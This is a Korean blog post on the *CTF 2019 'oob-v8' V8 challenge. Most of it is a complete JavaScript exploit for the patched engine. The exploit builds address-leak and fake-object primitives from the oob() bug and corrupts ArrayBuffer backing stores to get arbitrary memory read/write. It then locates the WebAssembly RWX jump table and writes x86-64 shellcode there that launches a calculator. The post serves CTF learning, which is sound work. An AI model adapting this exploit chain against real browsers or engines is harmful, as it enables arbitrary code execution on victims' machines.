본문 바로가기

카테고리 없음

oob-v8, V8 Exploitation

oob-v8는 browser 취약점을 연습하기에 좋은 연습문제다. 누군가 브라우저 취약점에 관심이 있다면 이 문제를 풀어보라고 권유하겠다. 공개된 oob-v8 라이트업이 있으니 문제 해결에 필요한 지식은 아래 링크에서 학습하면 되겠다.

  1. https://faraz.faith/2019-12-13-starctf-oob-v8-indepth
  2. https://changochen.github.io/2019-04-29-starctf-2019.html
  3. oob-v8 binary

익스플로잇 과정에서 read/write pritimive를 획득할 때 ArrayBuffer를 활용한 방법을 적용해봤다. oob-v8 문제에선 취약점을 여러번 사용(trigger)할 필요가 없기 때문에 익스플로잇에 ArrayBuffer를 활용하지 않아도 된다. 만약 메모리 read/write 과정에서 취약점을 매번 사용해야 한다면 ArrayBuffer를 활용한 방법을 고려해야 한다. 두 개의 ArrayBuffer 객체 arrBuf1, arrBuf2를 구성하고 arrBuf1으로 arrBuf2의 backing store를 변경(corrupt)해 임의 메모리 read/write를 수행한다. 이렇게 되면 매번 취약점을 트리거 할 필요가 없게 된다.

let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

// used when we leak address by addrOf function
// to print it out 
Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

// used when we want to write data into memory 
BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

var obj = {"A": 1};
var objArr = [obj];
var floatArr = [1.1, 2.2, 3.3, 4.4];
var objMap = objArr.oob();
var floatMap = floatArr.oob();

function addrOf(target) {
    objArr[0] = target;
    objArr.oob(floatMap);

    let addr = objArr[0];
    objArr.oob(objMap);

    return addr.toBigInt() - 1n;
}

function fakeObj(address) {
    floatArr[0] = address.toNumber();
    floatArr.oob(objMap);

    let fake = floatArr[0];
    floatArr.oob(floatMap);

    return fake;
}

print(`[+] objMap    0x${objMap.toBigInt().toString(16)}`)
print(`[+] floatMap  0x${floatMap.toBigInt().toString(16)}`)

// ArrayBuffer to get read/write primitive
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);
let arrBuf1Addr = addrOf(arrBuf1);
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] arrBuf1 @ 0x${arrBuf1Addr.toString(16)}`);
print(`[+] arrBuf2 @ 0x${arrBuf2Addr.toString(16)}`);

// craft array
var craftArr = [floatMap, 0x0000000200000000n.toNumber(), 1, 0xffffffff]; 
print(`[+] craftArr @ 0x${addrOf(craftArr).toString(16)}`);

// get fake object
let fakeObject = fakeObj(addrOf(craftArr) - 0x20n + 0x1n);
print(`[+] fakeObject @ 0x${addrOf(fakeObject).toString(16)}`)

// with craftArr, we can change fakeObj's backing store to arrBuf1
print(`[+] set fakeObject's backing store to arrBuf1`)
craftArr[2] = (arrBuf1Addr + 0x1n).toNumber();

// with fakeObject, we can change arrBuf1's backing store to arrBuf2
print(`[+] set arrBuf1's backing_store to arrBuf2`);
fakeObject[2] = arrBuf2Addr.toNumber();

// with arrBuf1, "view[4] = addr" will change arrBuf2's backing store 
let view1 = new BigUint64Array(arrBuf1);

print(`[+] construct read/write pritimive`);
let memory = {
    write(addr, bytes) {
        view1[4] = addr;
        let view2 = new Uint8Array(arrBuf2);
        view2.set(bytes);
    },
    read64(addr) {
        view1[4] = addr;
        let view2 = new BigUint64Array(arrBuf2);
        return view2[0];
    },
    write64(addr, ptr) {
        view1[4] = addr;
        let view2 = new BigUint64Array(arrBuf2);
        view2[0] = ptr;
    }
};

// prepare WebAssembly
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

// leak wasmInstance address and Jump Table Start pointer
let wasmInstanceAddr = addrOf(wasmInstance);
print(`[+] wasm instance @ 0x${wasmInstanceAddr.toString(16)}`);

let wasmRWXAddr = memory.read64(wasmInstanceAddr + 0x88n);
print(`[+] wasm RWX Jump Table Address @ 0x${wasmRWXAddr.toString(16)}`);

print("[+] writing shellcode to Jump Table Address");
let shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5]);
memory.write(wasmRWXAddr, shellcode);

print("[+] popping calc");

//while(1) {};
func();